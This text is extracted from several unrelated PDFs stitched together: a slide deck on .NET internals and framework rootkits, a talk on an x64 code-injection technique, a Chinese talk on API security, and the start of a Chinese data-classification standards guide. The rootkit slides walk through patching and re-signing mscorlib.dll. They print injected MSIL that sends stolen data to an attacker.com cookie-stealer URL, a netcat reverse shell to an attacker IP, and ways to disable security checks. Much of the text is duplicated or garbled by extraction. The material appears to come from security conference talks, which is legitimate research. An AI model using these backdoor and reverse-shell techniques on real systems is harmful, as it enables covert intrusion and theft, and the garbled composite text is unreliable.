scalability and reliability. with increased scalability and reliability. 34 34 .NET Architecture Overview 35 35 Common Language Runtime (CLR) .NET applications are compiled to a common .NET applications are compiled to a common language known as Microsoft Intermediate language known as Microsoft Intermediate Language, or "IL". Language, or "IL". The CLR, then, handles compiling the IL to The CLR, then, handles compiling the IL to machine language, at which point the program is machine language, at which point the program is executed. executed. The CLR architecture provides expansive tool The CLR architecture provides expansive tool support , simpler deployment ( support , simpler deployment (end of "DLL Hell"), end of "DLL Hell"), superior scalability, support for multiple superior scalability, support for multiple programming languages and a common data type programming languages and a common data type system system 36 36 ECMA ECMA--335 335 37 37 Common Language Runtime (CLR) 38 38 CLR: CLR: Internals Internals Class Loader IL to Native Compilers Code Manager Garbage Collector Security Engine Debug Engine Type Checker Exception Manager Thread Support COM Marshaler Base Class Library Support 39 39 Common Language Runtime Common Language Runtime Manages running code Manages running code •• Threading, Memory management Threading, Memory management •• Eliminates memory management drudgery Eliminates memory management drudgery •• Kills entire classes of bugs (e.g., memory corruption, Kills entire classes of bugs (e.g., memory corruption, ref counting) ref counting) •• Auto Auto--versioning versioning, no more DLL Hell , no more DLL Hell •• Scalability, performance, reliability all improve Scalability, performance, reliability all improve Fine Fine--grained evidence grained evidence--based security based security •• Code access + Role Code access + Role--based based •• Integrated with underlying OS Integrated with underlying OS •• Security model ensures safety Security model ensures safety No No--touch deployment touch deployment •• XCOPY, no registry required XCOPY, no registry required Object remoting with SOAP Object remoting with SOAP 40 40 Source Code C++, C#, VB or C++, C#, VB or any .NET any .NET language language csc.exe csc.exe or or vbc.exe vbc.exe Compiler Compiler Assembly DLL or EXE DLL or EXE .Net Assemblies .Net Assemblies 41 41 VB VB Source Source code code Compiler Compiler C++ C++ C# C# Compiler Compiler Compiler Compiler Operating System Services Operating System Services Common Language Runtime Common Language Runtime JIT Compiler JIT Compiler Native Code Native Code Managed Managed code code Assembly Assembly IL Code IL Code Assembly Assembly IL Code IL Code Assembly Assembly IL Code IL Code .Net Execution Model .Net Execution Model 42 42 .NET Framework .NET Framework安全設計 安全設計 43 43 .NET Framework .NET Framework安全設計 安全設計 Managed Code Managed Code執行模式 執行模式 型別安全檢查 型別安全檢查 共享名稱簽署 共享名稱簽署 程式碼存取安全 程式碼存取安全 角色架構安全 角色架構安全性設計 性設計 加密機制 加密機制 /GS Option /GS Option-- --適用於 適用於VC++ .NET VC++ .NET 隔離儲存區 隔離儲存區 44 44 Managed Code Managed Code 執行模式 執行模式 PEVerify PEVerify NGEN NGEN 部署階段 部署階段 GAC, GAC, app. directory, app. directory, download cache download cache public static void Main(String[] args ) { String usr; FileStream f; StreamWriter w; try { usr=Environment.GetEnvironmentVariable("USERNAME"); f=new FileStream(“C:\\test.txt",FileMode.Create); w=new StreamWriter(f); w.WriteLine(usr); w.Close(); } catch (Exception e){ Console.WriteLine("Exception:"+e.ToString()); } } 編譯器 編譯器 開發階段 開發階段 public static void Main(String[] args ) { String usr; FileStream f; StreamWriter w; try { usr=Environment.GetEnvironmentVariable("USERNAME"); f=new FileStream(“C:\\test.txt",FileMode.Create); w=new StreamWriter(f); w.WriteLine(usr); w.Close(); } catch (Exception e){ Console.WriteLine("Exception:"+e.ToString()); } } 原始碼 原始碼 Assembly Assembly PE header + MSIL + PE header + MSIL + Metadata + EH Table Metadata + EH Table 執行階段 執行階段 組件資訊 組件資訊 模組 模組 + + 類別清單 類別清單 Policy Policy Manager Manager Host Host Policy <?xml version="1.0" encoding="utf-8" ?> <configuration> <mscorlib> <security> <policy> <PolicyLevel version="1"> <CodeGroup class="UnionCodeGroup" version="1" PermissionSetName="Nothing" Name="All_Code" Description="Code group grants no permissio ns and forms the root of the code group tree."> <IMembershipCondition clas s="AllMembershipCondition" version="1"/> <CodeGroup class="UnionCodeGroup" version="1" PermissionSetName="FullTrust" Class Class Loader Loader 授與權限 授與權限 Vtable Vtable ++ Class info Class info JIT + JIT + verification verification Native code Native code + GC table + GC table CLR CLR 服務 服務 GC GC Exception Exception Class init Class init Security Security ((組件 組件)) ((類別 類別)) ((方法 方法)) Assembly Assembly Loader Loader Evidence Evidence 權限要求 權限要求 45 45 組件部署與 組件部署與強名稱 強名稱 編譯器 編譯器 密鑰 密鑰 簽署 簽署 資訊清單 資訊清單 PK=34 e2 5c PK=34 e2 5c… … 強式名稱 強式名稱 簽名檔 簽名檔 編譯器 編譯器 資訊清單 資訊清單 參照 參照::MyDLL MyDLL,, PK=34 e2 5c PK=34 e2 5c… … Main Main MyDLL MyDLL 11 44 33 22 46 46 執行 執行.NET .NET應用程式 應用程式 CLR CLR提供之執行支援與管理 提供之執行支援與管理 類別載入 類別載入(Class Loader) (Class Loader) .NET PE Files(metadata .NET PE Files(metadata 與 與IL) IL) CLR CLR’’s Virtual Execution Engine s Virtual Execution Engine JIT JIT編譯器 編譯器 Managed Native Code Managed Native Code Verifier Verifier JIT JIT 47 47 一般 一般windows windows程式與 程式與.net .net程式的 程式的 外觀比較 外觀比較 48 48 一般的 一般的PE PE程式 程式 49 49 Import session Import session可以看到多個 可以看到多個entry entry 50 50 .net .net程式的 程式的PE PE內容 內容 51 51 Import session Import session只有一個 只有一個entry entry 52 52 Metadata Metadata iSignature iSignature 固定為0x424a5342 (BSJB) 53 53 CLR CLR 表頭資料 表頭資料 54 54 Metadata Metadata的 的table entry table entry 55 55 Metadata check Metadata check機制 機制 Static check Static check •• Compiler Compiler階段 階段 •• 特別程式驗測 特別程式驗測((PeVerify.exe PeVerify.exe)) Dynamical Check Dynamical Check •• .net core check .net core check Static check Static check可修改後繞過 可修改後繞過 駭客常常製造可執行但 駭客常常製造可執行但metadata check metadata check failed failed的程式來擾亂 的程式來擾亂 56 56 Code modify Code modify 由於 由於.net .net 可進行 可進行round round--tripping tripping操作 操作. . 所 所 以 以code modify code modify可以神不知鬼不覺的進行 可以神不知鬼不覺的進行 對於混合編輯的程式就失效了 對於混合編輯的程式就失效了 •• 需配合 需配合Refflector Refflector與 與IDA Pro IDA Pro 一起 一起 •• 沒有 沒有round round--tripping tripping的特性 的特性 57 57 debug debug 58 58 CLR stalking CLR stalking 事前準備 事前準備 •• Windbg Windbg, , symbol(pdb symbol(pdb)) •• VisualStudio VisualStudio 2005 2005 •• .net framework 2.0 runtime RTM .net framework 2.0 runtime RTM •• 一個 一個.net .net小程式 小程式 59 59 ld kernel32 .chain 檢查DLL chain Sxe ld:mscorwks 當load時中斷 60 60 bp mscoree!_CorExeMain Net 核心函數 CorExeMain中斷 61 61 Sxe ld:mscorwks 當load mscorwks時中斷 62 62 中斷於 mscorwks的EEStartupHelper 63 63 中斷於 FinalizerThreadStart 64 64 中斷於 ClassLoader 65 65 中斷於 CallDescr 中斷於 CallDescrWorker 66 66 bp mscorwks!Assembly::GetEntryPoint 重要函數GetEntryPoint 67 67 CLR init CLR init 運作 運作 mscoree!_CorExeMain mscoree!_CorExeMain •• Mscoree Mscoree載入 載入engine engine Mscorwks!_CorExeMain Mscorwks!_CorExeMain Mscorwks!EEStartupHelper Mscorwks!EEStartupHelper Mscorwks!SetupThread Mscorwks!SetupThread •• Mapping OS thread Mapping OS thread 與 與CLR thread CLR thread Mscorwks!ClassLoader Mscorwks!ClassLoader Mscorwks!CallDescr Mscorwks!CallDescr Mscorwks!CallDescrWorker Mscorwks!CallDescrWorker mscorwks!Assembly::GetEntryPoint mscorwks!Assembly::GetEntryPoint 68 68 .NET Framework Rootkits 69 69 Tool you Need Tool you Need Re Re--Sign Sign StrongName StrongName Remove Remove ILDecoder ILDecoder Reflector Reflector sn sn ngen ngen ildasm ildasm ilasm MegaPuck ilasm MegaPuck CFF CFF explorer explorer PEiD PEiD LoadPE LoadPE PEInfo PEInfo GuidDbg GuidDbg PEBrowse PEBrowse dbg dbg ollydbg ollydbg IDA Pro IDA Pro windbg windbg 70 70 .NET Framework .NET Framework Rootkits Rootkits 程式片斷 程式片斷 static void static void Main(string Main(string[] [] args args)) {{ Console.WriteLine("Hello Console.WriteLine("Hello (crazy) World!"); (crazy) World!"); }} 執行結果 執行結果 71 71 .NET Framework .NET Framework Rootkits Rootkits 原因 原因 •• .NET framework .NET framework的 的WriteLine WriteLine被偷改了 被偷改了 也就是說 也就是說, , 駭客只要有技術 駭客只要有技術, , 就可以更 就可以更 改 改.NET .NET語言的實作 語言的實作 •• Mscorlib.dll Mscorlib.dll •• Mscoree.dll Mscoree.dll •• Mscorwks.dll Mscorwks.dll •• Mscorxxxxx.dll Mscorxxxxx.dll 都是好目標 都是好目標 72 72 新增一個專案 新增一個專案 73 73 直接拿來用 直接拿來用 74 74 Run Run ““ymc ymc demo demo””.exe .exe 75 75 Filemon Filemon 76 76 看看 看看mscorlib.dll mscorlib.dll在那 在那 77 77 C: C:\\winnt winnt\\assembly assembly 78 78 使用 使用reflector reflector找出 找出writeline writeline()() 79 79 反組譯 反組譯mscorlib.dll mscorlib.dll ILDASM /OUT= ILDASM /OUT=mscorlib.dll.il mscorlib.dll.il /NOBAR /LINENUM /SOURCE /NOBAR /LINENUM /SOURCE mscorlib.dll mscorlib.dll 80 80 從 從mscorlib.dll.il mscorlib.dll.il 找到 找到writeline(string writeline(string)) 81 81 把他變成兩次 把他變成兩次output output (IL address (IL address記得修正 記得修正)) 82 82 WriteLine WriteLine in MSIL (original VS. in MSIL (original VS. modified code) modified code) Original code of Original code of WriteLine WriteLine:: Modified code: Modified code: Print #1 (same as before) Print #2 (duplicate) 83 83 重新 重新compiler compiler ILASM /DEBUG /DLL /QUIET ILASM /DEBUG /DLL /QUIET /OUTPUT= /OUTPUT=mscorlib.dll mscorlib.dll mscorlib.dll.il mscorlib.dll.il 84 84 有了 有了 真的 真的writeline writeline()()被換了耶 被換了耶 85 85 雪特 雪特… …沒有成功 沒有成功....可是 可是dll dll都換掉了耶 都換掉了耶 86 86 原來是 原來是cache cache作怪 作怪 ngen ngen uninstall uninstall mscorlib.dll mscorlib.dll Replace new Replace new mscorlib.dll mscorlib.dll Ngen Ngen install install mscorlib.dll mscorlib.dll 87 87 Work Work 88 88 修改 修改 Framework Framework 核心步驟 核心步驟 Locate the DLL in the GAC, and copy it Locate the DLL in the GAC, and copy it outside outside Analyze the DLL Analyze the DLL Decompile the DLL using Decompile the DLL using ildasm ildasm Modify the MSIL code Modify the MSIL code Recompile to a new Recompile to a new DLL using DLL using ilasm ilasm Bypass the GAC strong name protection Bypass the GAC strong name protection Reverting back from NGEN Native DLL Reverting back from NGEN Native DLL Deploy the new DLL while overwriting the Deploy the new DLL while overwriting the original original 89 89 躲過 躲過 GAC GAC 強名 強名(Strong Name) (Strong Name)檢驗 檢驗 DLL DLL修改過後 修改過後, , 會躲不過 會躲不過GAC GAC強名檢驗 強名檢驗 因為每個 因為每個DLL DLL都有獨一無二的簽名 都有獨一無二的簽名 躲過方法 躲過方法 •• 偷到 偷到microsoft microsoft的私鑰 的私鑰((private key) private key) •• 把簽名去掉 把簽名去掉((StrongNameRemove StrongNameRemove工具 工具)) •• 自己簽一個 自己簽一個(Re (Re--sign sign工具 工具)) •• 把 把DLL DLL放在正確的目錄下 放在正確的目錄下 c: c:\\winnt winnt\\assembly assembly\\GAC_32 GAC_32\\mscorlib mscorlib\\2.0.0.0 2.0.0.0 _b77a5c561934e089 _b77a5c561934e089 90 90 安裝 安裝 backdoors backdoors 與 與rootkits rootkits So now we know we can modify the framework So now we know we can modify the framework and make it behave the way we want and make it behave the way we want It is possible to plant malicious code inside the It is possible to plant malicious code inside the framework itself framework itself •• We can backdoor some sensitive internal We can backdoor some sensitive internal methods methods •• It is also possible to deploy It is also possible to deploy rootkits rootkits deep into deep into the framework the framework The malicious code will be hidden and undetected The malicious code will be hidden and undetected inside the Framework inside the Framework Code review will never detect them because Code review will never detect them because they they’’re not at the application level code re not at the application level code 91 91 SendToUrl SendToUrl implementation implementation Code: Code: .method public .method public hidebysig hidebysig static void static void SendToUrl(string SendToUrl(string url url,, string data) string data) cil cil managed managed {{ ..maxstack maxstack 88 IL_0000: IL_0000: nop nop IL_0001: ldarg.0 IL_0001: ldarg.0 IL_0002: ldarg.1 IL_0002: ldarg.1 IL_0003: call string IL_0003: call string System.String::Concat(string,string System.String::Concat(string,string) ) IL_0008: call class [ IL_0008: call class [System]System.Net.WebRequest System]System.Net.WebRequest [[System]System.Net.WebRequest::Create(string System]System.Net.WebRequest::Create(string)) IL_000d: IL_000d: callvirt callvirt instance class instance class [[System]System.Net.WebResponse System]System.Net.WebResponse [[System]System.Net.WebRequest::GetResponse System]System.Net.WebRequest::GetResponse() () IL_0012: pop IL_0012: pop IL_0013: ret IL_0013: ret } // end of method Class1::SendToUrl } // end of method Class1::SendToUrl 92 92 SendToUrl SendToUrl usage usage The following injected MSIL code will do the job The following injected MSIL code will do the job ..locals init locals init ((string V_0 string V_0)) IL_0000 IL_0000: : ldstr ldstr ""SomeSensitiveStolenData SomeSensitiveStolenData"" IL_0005 IL_0005: : stloc stloc..00 IL_0006 IL_0006: : ldstr ldstr ""http http:// ://www www..attacker attacker..com com//CookieStealer CookieStealer//WebFor WebFor m1 m1..asp asp"" + " + "xx\\?s ?s=" =" IL_000b IL_000b: : ldloc ldloc..00 IL_000c IL_000c: : call void call void System System..Object Object:: ::SendToUrl SendToUrl((string,string string,string) ) 93 93 ReverseShell ReverseShell implementation implementation netcat netcat IP IP PORT PORT --e e cmd.exe cmd.exe Code Code ..method public method public hidebysig hidebysig static void static void ReverseShell ReverseShell((string string ip ip,, int32 port int32 port) ) cil cil managed managed {{ // // Code size 259 Code size 259 ((0x103 0x103)) ..maxstack maxstack 33 ..locals init locals init ([ ([00] ] string string cmdfilename cmdfilename,, [[11] ] string filename, string filename, [[22] ] uint8 uint8[] [] netcat netcat,, [[33] ] class System class System..IO IO..BinaryWriter BinaryWriter binWriter1, binWriter1,[[44] ] uint8 uint8[] [] cmd cmd,, [[55] ] class System class System..IO IO..BinaryWriter BinaryWriter binWriter2, binWriter2,[[66] ] string arguments, string arguments, [[77] ] class class [[System System]]System System..Diagnostics Diagnostics..Process proc, Process proc, [[88] ] object object[] [] CS$0$0000 CS$0$0000)) IL_0000 IL_0000: : nop nop IL_0001 IL_0001: : ldstr ldstr ""cmd cmd..exe exe"" IL_0006 IL_0006: : stloc stloc..00 IL_0007 IL_0007: : ldstr ldstr ""netcat netcat..exe exe"" IL_000c IL_000c: : stloc stloc..11 … … … … IL_0101 IL_0101: : pop pop IL_0102 IL_0102: : ret ret } } // // end of method end of method :: ::ReverseShell ReverseShell 94 94 ReverseShell ReverseShell usage usage The following injected MSIL code will do The following injected MSIL code will do the job the job IL_0000: IL_0000: ldstr ldstr "192.168.50.129 "192.168.50.129““ // attacker // attacker ip ip address address IL_0005: ldc.i4 IL_0005: ldc.i4 0x4d2 0x4d2 // port 1234 // port 1234 IL_0006: call void IL_0006: call void System.Object::ReverseShell(string,int32) System.Object::ReverseShell(string,int32) 95 95 安裝反彈端口木馬 安裝反彈端口木馬 In our next example we In our next example we’’ll inject the ll inject the ReverseShell ReverseShell function and execute it function and execute it Let Let’’s make a reverse shell every time s make a reverse shell every time a a winform winform executable is run executable is run •• Just for demonstration Just for demonstration pusposes pusposes.... So we So we’’ll inject code that execute our ll inject code that execute our reverse shell into reverse shell into System.Windows.Forms.dll System.Windows.Forms.dll, at , at function function Run(Form Run(Form mainForm mainForm)) 96 96 安裝反彈端口木馬 安裝反彈端口木馬 Injected Original code Modified code (pre injection) 97 97 Disabling security checks Disabling security checks Messing around with CAS (Code Access Security) Messing around with CAS (Code Access Security) can be achieved by modifying the behavior of can be achieved by modifying the behavior of important classes from important classes from System.Security System.Security, , System.Security.Permissions System.Security.Permissions, etc.. , etc.. •• Again, from Again, from mscorlib.dll mscorlib.dll.... It is possible to disable security checks by It is possible to disable security checks by changing the logic of changing the logic of •• CodeAccessPermission::Demand CodeAccessPermission::Demand() () •• CodeAccessPermission::Deny CodeAccessPermission::Deny() () •• CodeAccessPermission::Assert CodeAccessPermission::Assert() () •• FileIOPermission FileIOPermission, , RegistryPermission RegistryPermission, etc. , etc. 98 98 Anti Tech Anti Tech 99 99 Anti Tech Anti Tech Obfucation Obfucation Packer & Anti Packer & Anti--Debug Debug Virtual Machine idea Virtual Machine idea 100 100 Obfuscation Obfuscation Name Obfuscation Name Obfuscation Control Control--Flow Obfuscation Flow Obfuscation String Encoding String Encoding 101 101 Control Control--Flow Obfuscation Flow Obfuscation Stack/heap crash Stack/heap crash •• br br IL_0000 IL_0000 •• pop pop •• ldc.i4.1 ldc.i4.1 •• IL_0000: IL_0000: nop nop Anti Anti--DeCompiler DeCompiler •• C# C#沒有 沒有 filter/fault filter/fault •• try try--catch block catch block交錯 交錯 ((可 可decompiler decompiler, , 但不 但不 能 能re re--compiler) compiler) 102 102 Packer & Anti Packer & Anti--Debug Debug Anti Anti--Profiler Profiler •• Process initial environment modify Process initial environment modify COR_ENABLE_PROFILING 1 COR_ENABLE_PROFILING 1 00 103 103 Packer & Anti Packer & Anti--Debug Debug Anti Anti--Profiler Profiler •• .net core patch .net core patch Sxe Sxe ld:Profiler ld:Profiler Bp Bp profiler!CprofilerCallback::JITCompilationSta profiler!CprofilerCallback::JITCompilationSta rted rted Mscordbc!EEToProfInterfaceImp1::CreatingP Mscordbc!EEToProfInterfaceImp1::CreatingP rofiler+0x?? rofiler+0x?? 讀取 讀取 COR_ENABLE_PROFILING COR_ENABLE_PROFILING的地方 的地方, , 也是我 也是我 們要 們要patch patch的地方 的地方 104 104 Packer & Anti Packer & Anti--Debug Debug Anti Anti--Debug Debug •• DebuggerHiddenAttribute DebuggerHiddenAttribute •• DebuggerNonUserCodeAttribute DebuggerNonUserCodeAttribute •• DbuggerStepThroughAttribute DbuggerStepThroughAttribute Anti Anti--ildasm ildasm •• SuppressIldasmAttribute SuppressIldasmAttribute Anti Anti--Compiler Compiler •• 空名稱的 空名稱的Resources Resources 105 105 Packer & Anti Packer & Anti--Debug Debug Packer Packer •• AdeptCompressor AdeptCompressor •• .NETZ .NETZ •• .NET Reactor .NET Reactor •• CodeVeil CodeVeil Pro Pro--Method Packer Method Packer •• 使用 使用JIT JIT概念 概念 •• 保護對象是單個方法 保護對象是單個方法 •• 使用到才解開 使用到才解開 106 106 Q & A Q & A 107 107 .net 4.0 .net 4.0
pdf
By Alon Weinberg Please inject-me, a x64 code injection August 2019 I’m a Security researcher! I’ve been working at Deep Instinct, Since 2017 And I was in the IDF Cyber Unit for 4.5 years Alon Weinberg Please inject-me a x64 code injection Intro ▪ Code injection and its importance ▪ Introducing Inject-Me Technical background ▪ ReadProcessMemory ▪ X64 WinAPI calling convention Inject-Me - Detailed flow ▪ Abusing ReadProcessMemory ▪ Copying data on the target process ▪ Finalizing the injection ▪ Infinite running thread ▪ Execution ▪ Demo 4 Intro Please inject-me, a x64 code injection 5 Code injection is the general term of introducing (or "injecting") code into a process and executing it from the process context. Injecting process target process Inject code MessageBox code Execute code What is code injection 6 Why is code injection important? Benign use of code injection ▪ Security solutions ▪ Adding functionality ▪ Monitoring, Analysis and Research 7 Malicious use of code injection: ▪ Stealth - Hiding malware presence ▪ Evasion - Bypassing security solutions ▪ Stealing information from another process Introducing inject-me ▪ How it all started ▪ A new code injection for x64 ▪ The idea behind Inject-Me ▪ “Injection-less” code injection 8 Technical background Please inject-me, a x64 code injection 9 ▪ Reads memory from a process By running the function remotely in a target process, and controlling the parameters passed using SetThreadContext one can read\inject a shellcode into the target process. ReadProcessMemoryfunction 10 ▪ Integer arguments passed in registers RCX, RDX, R8, and R9 ▪ Arguments after the fourth argument passed on the stack ▪ Function can be set with four or less arguments remotely using SetThreadContext hProcess lpBaseAddress lpBuffer nSize lpNumberOfBytesRead ReadProcessMemory RCX = RDX = R8 = R9 = RtlExitUserThread 0x00000000 0x00000000 0x00000000 0x00000000 Stack lpNumberOfBytesRead Return Address= Ignored Ignored Ignored Ignored On stack X64 WinAPIcalling convention 11 Details and flow of the Injection-less code injection Setting up ReadProcessMemory First problem Access violation Creating an infinite running thread Executing code injection 12 ▪ ReadProcessMemory gets 5 arguments ▪ Only 4 arguments can be passed through registers ▪ Fifth parameter can be NULL ▪ Creating a dummy stack - VirtualAllocEx allocates memory in a process and zeroes it ▪ Dummy stack will be used later as the stack when calling ReadProcessMemory Setting up ReadProcessMemory First problem Access violation Creating an infinite running thread Executing code injection Setting up ReadProcessMemory for abuse 13 ▪ Using DuplicateHandle to duplicate injecting process handle to the target process ▪ Setting hProcess to Injecting process duplicated handle ▪ Allocating memory for the shellcode in the target process using VirtualAllocEx Setting up ReadProcessMemory for abuse 14 Setting up ReadProcessMemory First problem Access violation Creating an infinite running thread Executing code injection Access violation return address is 0 0x00000000 Process stack Process flow 0x00000000 0x00000000 0x00000000 0x00000000 Call ReadProcessMemory Memory is read to buffer Return to address on stack 15 Setting up ReadProcessMemory First problem Access violation Creating an infinite running thread Executing code injection Access violation return address is RtlExitUserThread 0x00000000 Process stack Process flow 0x00000000 0x00000000 RtlExitUserThread 0x00000000 Call ReadProcessMemory Memory is read to buffer Return to address on stack 16 Setting up ReadProcessMemory First problem Access violation Creating an infinite running thread Executing code injection Copying RtlExitUserThread to the dummy stack ▪ Kernel32.dll imports RtlExitUserThread from ntdll.dll ▪ RtlExitUserThread address should exist in kernel32.dll IAT (Import Address Table) ▪ kernel32.dll base address and IAT address are identical between processes ▪ Finding RtlExitUserThread in injecting process and copying it in the target process 17 Setting up ReadProcessMemory First problem Access violation Creating an infinite running thread Executing code injection ▪ NtQueueApcThread calls a function in a process and passes 3 parameters to it ▪ RtlCopyMemory gets 3 parameters ▪ Copying data using NtQueueApcThread and RtlCopyMemory How to copy data on the target process Destination Source Length Injecting process NtQueueApcThread RtlCopyMemory Injectee process thread handle Destination Source Length Injectee process thread RtlCopyMemory 18 Side note – Recreating shellcode in a target process ▪ The method described earlier can be used to recreate a shellcode in the target process: ▪ Finding each byte of the shellcode in the target process ▪ Copying the shellcode byte by byte in the target process ▪ We’ve found a way to recreate shellcode in a target process! 19 Finalizing the code injection Please inject-me, a x64 code injection 20 An Infinite running thread is needed Describing a new problem ▪ Set RIP register to ReadProcessMemory ▪ Really? ▪ Setting the RIP register of a thread created suspended causes exception ▪ Exception 0xC000000D, STATUS_INVALID_PARAMETER ▪ The thread needs to initialize before it is manipulated ▪ A thread created in the target process will terminate before it can be manipulated ▪ Running an infinitely running thread will allow it to initialize 21 Setting up ReadProcessMemory First problem Access violation Creating an infinite running thread Executing code injection An Infinite running thread is needed Looking at RtlUserThreadStart 22 An Infinite running thread is needed Looking at RtlUserThreadStart 23 An Infinite running thread is needed Running the infinitely running thread ▪ Allocating RWX memory for jmp RBX opcode using VirtualAllocEx ▪ Looking for jump RBX opcode in our version of ntdll (opcode: 0xffe3) ▪ Copying jump RBX opcode in the target process using method described earlier ▪ Creating suspended thread using CreateRemoteThread function starting at jmp RBX opcode ▪ Setting RBX to point to jmp RBX opcode using SetThreadContext ▪ Resuming the thread 24 Setting up ReadProcessMemory First problem Access violation Creating an infinite running thread Executing code injection Executing the code injection ▪ Suspend the thread and check if RIP is at jmp RBX opcode address ▪ Setting the thread context using SetThreadContext ▪ Resuming the thread and waiting for the injection to occur ▪ Using WaitForSingleObjectto wait until the thread is done ▪ Executing the shellcode! 25 Setting up ReadProcessMemory First problem Access violation Creating an infinite running thread Executing code injection Demo Please inject-me, a x64 code injection 27 28 Thank you! For the full research paper visit this link | http://bit.ly/MeX64 29
pdf
从S-SDLC视角看API安全 【API威胁检测防御】专题研讨会 Silver Zhang 为何将API安全拧出来说 为何将API安全拧出来说 感冒 VS. 禽流感 感冒 VS. 禽流感 应用安全 VS. 移动安全 应用安全 VS. 移动安全 新业态 新业态 API历史沿革及风险评估 API面临的安全挑战 传输 存储 认证 授权 输入 输出 ➢ 客 户 端 不 支 持 加 密 传 输 协 议 怎 么 办 ➢ 客 户 需 要 走 非 加 密 支 持 代 理 ➢ 客 户 端 未 做 服 务 端 证 书 合 法 有 效 性 校 验 怎 么 办 ➢ 服 务 端 加 密 数 据 如 何 让 客 户 端 解 密 ➢ 客 户 的 服 务 端 与 客 户 端 都 在 使 用 同 一 API ➢ 密 钥 泄 露 了 怎 么 办 ➢ 客 户 的 客 户 端 与 服 务 端 都 支 持 登 录 过 程 处 理 ➢ 无 人 参 与 的 设 备 登 陆 认 证 问 题 ➢ 设 备 更 换 主 人 ➢ 预 设 权 限 与 客 户 业 务 映 射 ➢ 不 充 分 的 授 权 业 务 架 构 ➢ 不 正 确 的 授 权 ID 的 使 用 ➢ API 服 务 提 供 方 输 入 验 证 ➢ API 提 供 方 输 入 验 证 ➢ 调 用 方 输 入 验 证 匹 配 性 ➢ 输 出 编 码 ➢ 不 同 的 输 出 编 码 -CSV/JASON ➢ 仅 输 出 必 要 的 内 容 IoT攻击面分析 攻击面 是否涉及API 攻击面 是否涉及API 生态系统 √ 第三方后端API √ 设备内存 x 更新机制 √ 设备物理接口 乄 移动应用 √ 设备Web界面 √ 供应商后端API √ 设备固件 乄 生态系统交互 √ 设备网络服务 乄 网络流量 乄 管理界面 √ 认证/授权 √ 本地数据存储 乄 隐私 √ 云Web界面 乄 硬件(传感器) 乄 S-SDLC & API安全 需求 设计 实现 确认 DevOps 运维 场景 传输 乄 乄 乄 乄 乄 乄 √ 存储 √ √ √ √ 乄 √ √ 认证 √ √ √ √ 乄 √ √ 授权 √ √ √ √ 乄 √ √ 输入 √ √ √ √ 乄 √ √ 输出 √ √ √ √ 乄 √ √ API安全 API安全 API安全检测技术 人为构造所有可能的应用场景的Demo,通过正常应用安全测试完成… 与功能性自动化脚本融合,同步完成安全自动化测试… 借助现存的典型用户客户端完成全功能安全测试… 借助于Fuzz Test技术完成安全性测试… 借助于IAST技术完成安全性测试… 借助于RASP技术完成与业务强相关的恶意行为监测… 问题讨论-1 如 何 避 免 过 度 实 现 尚 未 开 放 的 功 能 ? 1. 无人知道对外提供的API竟然可以以 服务提供方的超级管理员身份登录 进去 2. 现实是:开发为了方便放开了口子 3. 挑战:如何从根本上避免这样的问 题出现? *API特殊性决定了它一定会被深度使用* 1. 无人知道对外提供的API竟然可以以 服务提供方的超级管理员身份登录 进去 2. 现实是:开发为了方便放开了口子 3. 挑战:如何从根本上避免这样的问 题出现? *API特殊性决定了它一定会被深度使用* 问题讨论-2 如 何 确 保 API 只 输 出 当 前 功 能 所 必 需 要 的 信 息 ? 1. 开发:我知道这些信息未来用得上, 所以干脆直接将更多的信息一并传 回客户端,反正前端也不会有人使 用它们 2. 现实:批量、敏感信息泄漏 3. 挑战:如何从根本上避免这样的问 题出现? *API特殊性决定了它一定会被深度使用* 1. 开发:我知道这些信息未来用得上, 所以干脆直接将更多的信息一并传 回客户端,反正前端也不会有人使 用它们 2. 现实:批量、敏感信息泄漏 3. 挑战:如何从根本上避免这样的问 题出现? *API特殊性决定了它一定会被深度使用* 问题讨论-3 最佳 实践 与现 实之 间的 矛盾 1. Web端提供多因子认证 2. 手机端API则不提供 1)易用性考虑 2) 客户的客户端不支持 *API特殊性决定了它一定会被深度使用* 1. Web端提供多因子认证 2. 手机端API则不提供 1)易用性考虑 2) 客户的客户端不支持 *API特殊性决定了它一定会被深度使用*
pdf
TC260-PG-20212A 网络安全标准实践指南 —网络数据分类分级指引 (v1.0-202112) 全国信息安全标准化技术委员会秘书处 2021 年 12 月 本文档可从以下网址获得: www.tc260.org.cn/ I 前 言 《网络安全标准实践指南》(以下简称《实践指南》) 是全国信息安全标准化技术委员会(以下简称“信安标委”) 秘书处组织制定和发布的标准相关技术文件,旨在围绕网络 安全法律法规政策、标准、网络安全热点和事件等主题,宣 传网络安全相关标准及知识,提供标准化实践指引。 II 声 明 本《实践指南》版权属于信安标委秘书处,未经秘书处 书面授权,不得以任何方式抄袭、翻译《实践指南》的任何 部分。凡转载或引用本《实践指南》的观点、数据,请注明 “来源:全国信息安全标准化技术委员会秘书处”。 技术支持单位 本《实践指南》得到中国电子技术标准化研究院、中国 移动通信集团有限公司、中国网络安全审查技术与认证中心、 北京信息安全测评中心、成都卫士通信息产业股份有限公司、 亚信科技(成都)有限公司、北京百度网讯科技有限公司、 北京奇虎科技有限公司、联通大数据有限公司、北京明朝万 达科技股份有限公司、天翼电子商务有限公司、蚂蚁科技集 团股份有限公司、深信服科技股份有限公司、北京爱奇艺科 技有限公司、杭州安恒信息技术股份有限公司、北京字节跳 动科技有限公司、阿里巴巴(北京)软件服务有限公司、OPPO 广东移动通信有限公司、中国电信集团有限公司、北京数安 行科技有限公司、顺丰速运有限公司、深圳市腾讯计算机系 统有限公司、北京小桔科技有限公司、京东科技控股股份有 限公司、闪捷信息科技有限公司、内蒙古自治区大数据中心 等单位的技术支持。 III 摘 要 为贯彻落实《中华人民共和国数据安全法》中“国家建 立数据分类分级保护制度”要求,保障国家安全、公共利益、 个人和组织的合法权益,本实践指南依据法律法规和政策标 准要求,给出了网络数据分类分级的原则、框架和方法,可 用于指导数据处理者开展数据分类分级工作,也可为主管监 管部门进行数据分类分级管理提供参考。 IV 目 录 1 范围....................................................................... 1 2 术语定义 ................................................................... 1 3 数据分类分级原则 ........................................................... 3 4 数据分类分级框架 ........................................................... 3 4.1 数据分类框架 ......................................................... 3 4.2 数据分级框架 ......................................................... 4 5 数据分类方法 ............................................................... 5 5.1 数据分类流程 ......................................................... 5 5.2 个人信息识别与分类 ................................................... 7 5.3 公共数据识别与分类 .................................................. 10 5.4 公共传播信息识别与分类 .............................................. 11 6 数据分级方法 .............................................................. 12 6.1 分级要素 ............................................................ 12 6.2 基本分级规则 ........................................................ 14 6.3 一般数据分级规则 .................................................... 14 6.4 定级方法 ............................................................ 15 6.5 重新定级 ............................................................ 19 7 数据分类分级实施流程 ...................................................... 21 附录 A 组织经营维度数据分类参考示例 ......................................... 23 附录 